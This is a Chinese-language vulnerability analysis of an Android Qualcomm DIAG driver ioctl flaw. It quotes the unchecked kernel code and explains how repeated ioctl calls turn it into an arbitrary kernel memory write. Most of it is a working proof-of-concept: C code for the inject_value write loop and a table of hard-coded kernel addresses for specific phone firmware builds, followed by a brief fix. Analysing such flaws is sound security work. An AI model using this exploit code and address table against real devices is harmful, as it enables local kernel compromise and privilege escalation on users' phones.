/*
本文章由 莫灰灰 編寫,轉載請註明出處。
作者:莫灰灰 郵箱: [email protected]
*/
1. 漏洞描述
在處理DIAG設備的ioctl系統調用參數時,一些未經驗證的引用自用戶層的不可信指針被使用了。對於本地安裝的應用程序來說,可以使用這個漏洞來實施拒絕服務攻擊,或者在內核下執行任意代碼。
2. 漏洞分析
} else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID) {
struct diagpkt_delay_params *delay_params =
(struct diagpkt_delay_params *) ioarg;
if ((delay_params->rsp_ptr) &&
(delay_params->size == sizeof(delayed_rsp_id)) &&
(delay_params->num_bytes_ptr)) {
*((uint16_t *)delay_params->rsp_ptr) =
DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
*(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);
從上面的代碼中可以看出,DIAG驅動在處理DIAG_IOCTL_GET_DELAYED_RSP_ID未對用戶層傳下來的參數做任何的校驗就直接使用了,那麼最簡單的攻擊就是內核拒絕服務攻擊了,即把delay_params->rsp_ptr寫成一個無效的地址。那麼,這個漏洞顯然可以有更高級的利用方法。
*((uint16_t *)delay_params->rsp_ptr) = DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id); 這個賦值操作,可以修改delay_params->rsp_ptr的值,DIAGPKT_NEXT_DELAYED_RSP_ID宏的代碼如下:
#define DIAGPKT_MAX_DELAYED_RSP 0xFFFF
#define DIAGPKT_NEXT_DELAYED_RSP_ID(x) \
((x < DIAGPKT_MAX_DELAYED_RSP) ? x++ : DIAGPKT_MAX_DELAYED_RSP)
每調用一次DIAGPKT_NEXT_DELAYED_RSP_ID宏,那麼全局變量delayed_rsp_id都會+1,最後等於ushort的最大值,即0xFFFF就不再+1了。
如何利用:
知道了原理之後,那麼其實我們每一次ioctl調用可以修改2個字節。
1.通過ioctl得到當前delayed_rsp_id的值
2.如果delayed_rsp_id的值大於我們需要的值,那麼通過*(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);把delayed_rsp_id重置爲2 (delayed_rsp_id的地址需要硬編碼得到)
3.之後得到loop的次數,loop_count = (data_we_want - delayed_rsp_id_value) & 0xffff;
4.最後將delay_params->rsp_ptr地址裏面的值修改爲我們需要的值,從而達到任意地址修改的目的
5.如果是修改4字節的函數地址,那麼可以分兩次來修改
3.PoC
static bool
inject_value(struct diag_values *data,
int fd, void *delayed_rsp_id_address)
{
uint16_t delayed_rsp_id_value = 0;
int i, loop_count, ret;
// 通過ioctl調用,得到當前delayed_rsp_id的值
ret = get_current_delayed_rsp_id(fd);
if (ret < 0) {
return false;
}
delayed_rsp_id_value = ret;
data->original_value = delayed_rsp_id_value;
// 如果delayed_rsp_id的值比我們需要的大,那麼重置它
// 其中delayed_rsp_id_address的地址是硬編碼取得
if (delayed_rsp_id_value > data->value &&
reset_delayed_rsp_id(fd, delayed_rsp_id_address) < 0) {
return false;
}
// 得到循環次數
loop_count = (data->value - delayed_rsp_id_value) & 0xffff;
// 利用delayed_rsp_id的值每調用一次+1的特性,修改爲我們需要的值
for (i = 0; i < loop_count; i++) {
int unused;
if (send_delay_params(fd, (void *)data->address, &unused) < 0) {
return false;
}
}
return true;
}
delayed_rsp_id_address的硬編碼地址如下:
static supported_device supported_devices[] = {
{ DEVICE_F03D_V24R33Cc, 0xc0777dd0 },
{ DEVICE_F11D_V21R36A, 0xc092f1a4 },
{ DEVICE_F11D_V24R40A, 0xc091bf8c },
{ DEVICE_F11D_V26R42B, 0xc091bf8c },
{ DEVICE_F12C_V21, 0xc075aca4 },
{ DEVICE_IS17SH_01_00_03, 0xc0a546fc },
{ DEVICE_IS11N_GRJ90, 0xc0835758 },
{ DEVICE_ISW11K_145_0_0002, 0xc07f93a4 },
{ DEVICE_SC01E_LJ3, 0xc0bdfae0 },
{ DEVICE_SC05D_LPL, 0xc0cb0924 },
{ DEVICE_SCL21_LJD, 0xc0b96128 },
{ DEVICE_SO05D_7_0_D_1_117, 0xc0b8840c },
{ DEVICE_ISW12K_010_0_3000, 0xc0935104 },
};
4.漏洞修復
使用copy_from_user和copy_to_user函數保證用戶層傳入參數的正確性,而不是直接使用。